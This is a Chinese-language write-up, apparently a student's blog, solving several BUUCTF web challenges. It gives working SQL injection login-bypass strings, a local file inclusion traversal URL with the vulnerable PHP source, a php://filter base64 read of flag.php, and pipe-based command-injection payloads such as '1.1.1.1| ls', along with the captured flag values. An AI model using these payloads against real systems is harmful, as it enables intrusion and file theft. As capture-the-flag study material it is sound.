EasySQl
payload:
username=admin’or’1=1&password=admin’or’1=1
&password=admin’or’1=1&password=admin’or’1=1
2024来更一下:
http://t.csdnimg.cn/RB8gS
这篇写的确实详细,看完我浅列个学习心得吧,一般简单的SQL注入分三步:
1。先看与数据库交互的文件—>
2。用1 ,1’,1’'去确定他SQL语句什么个样子(用的单引号还是双引号,即闭合方式)—>
3。用HackBar展开SQL注入
有关万能钥匙:
万能账号密码使用详解,渗透测试常用的入门级操作 - 小哥啊的文章 - 知乎
https://zhuanlan.zhihu.com/p/485448815
Havefun
代码审计
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
WarmUp
见题:
曾经见过(想起当时的年少…)。习惯的F12过后,注释里写着source.php,那咱就去看看喽
见下面source.php:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
看里面好像有个hint.php,瞅一眼:
哦,他说flag在ffffllllaaaagggg,我康康
没有欸,ffffllllaaaagggg是什么呢
G说:这段代码是PHP代码。它首先检查是否存在名为’file’的请求参数并且该参数不为空,并且参数的值是一个字符串,并且通过一个名为checkFile()
的方法来验证$_REQUEST['file']
的有效性。
如果上述条件都满足,则通过include
语句将$_REQUEST['file']
引入脚本,并立即退出脚本的执行。
如果条件不满足,则会输出一个img标签,其中的src属性指向一个图片的URL地址。
根据代码的逻辑,这段代码可能用于在满足一些条件的情况下动态加载并执行一个PHP文件,否则将显示一张图片。
下面是我作为小白对该审计的PHP代码作的一些知识补充:
$_REQUEST['file']
是一个超全局变量,在PHP中用于获取用户通过GET、POST以及COOKIE请求方式提交的名为’file’的参数的值。
$_REQUEST
是一个包含了通过HTTP请求传输的参数(GET、POST和COOKIE)的关联数组,在服务器端可以直接访问。通过使用$_REQUEST['file']
,可以获取到名为’file’的参数的值。
需要注意的是,使用$_REQUEST
这类超全局变量需要小心,因为它们包含用户提供的输入,可能会导致安全风险,如上述代码示例中的LFI漏洞。为了安全起见,开发人员应该对用户输入进行验证和过滤,确保只接受预期的值,并且采取适当的安全措施来防止潜在的攻击。
http://1710131e-d2ab-48b4-8d59-fef56eb66483.node5.buuoj.cn:81/source.php?file=source.php?file=source.php?../…/…/…/…/…/…/ffffllllaaaagggg
Include
题目见下:
这个知识点呢,我还有待更深入的学习,如下:
截图来源:
http://t.csdnimg.cn/XrMyb
然后payload:
?file=php://filter/convert.base64-encode/resource=flag.php
结果如下:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MTFmNTYxOTQtMzcwOC00NTE2LTlhNTAtYmIwMjQ4YTUzZTUwfQo=
上面crypto有点基础就知道base64:
flag{11f56194-3708-4516-9a50-bb0248a53e50}
[ACTF2020 新生赛]Exec
玩了一下,真ping呗。看佬们说是Linux的指令,见下面引用:
http://t.csdnimg.cn/0md05
下面开始题解:
这里打个注意事项,payload:1.1.1.1 || ls是不行的,结果和上图(紧挨的)是一样的,这里的主要区别是||和|的区别:
在Linux中,
||
和|
是两个不同的运算符,有着不同的功能和用法。
||
:逻辑或运算符。在使用命令时,command1 || command2
表示如果command1
执行失败(返回非零退出码),则执行command2
。也就是说,如果前一个命令失败了,那么后面的命令将被执行。|
:管道符号。管道符号用于将一个命令的输出作为另一个命令的输入。command1 | command2
表示将command1
的输出作为command2
的输入。通过管道符号,可以将多个命令连接起来,形成一个管道链,实现数据的流动和处理。
总结
||
是用于在命令执行失败时执行另一个命令的逻辑或运算符。|
是用于将一个命令的输出作为另一个命令的输入的管道符号。
next:
看到flag文件:
flag{fd0870e9-148f-4de3-a950-3ad2e2ac9839}
[GXYCTF2019]Ping Ping Ping
看到/?我想放URL里,毕竟ping ,ping的是IP呀。
payload:1.1.1.1| ls,出现下面结果:
知识:
经尝试,均未果
最后,payload:
结果:
flag{5aaf04f8-4cf5-4c42-97c4-fbfe26abb211}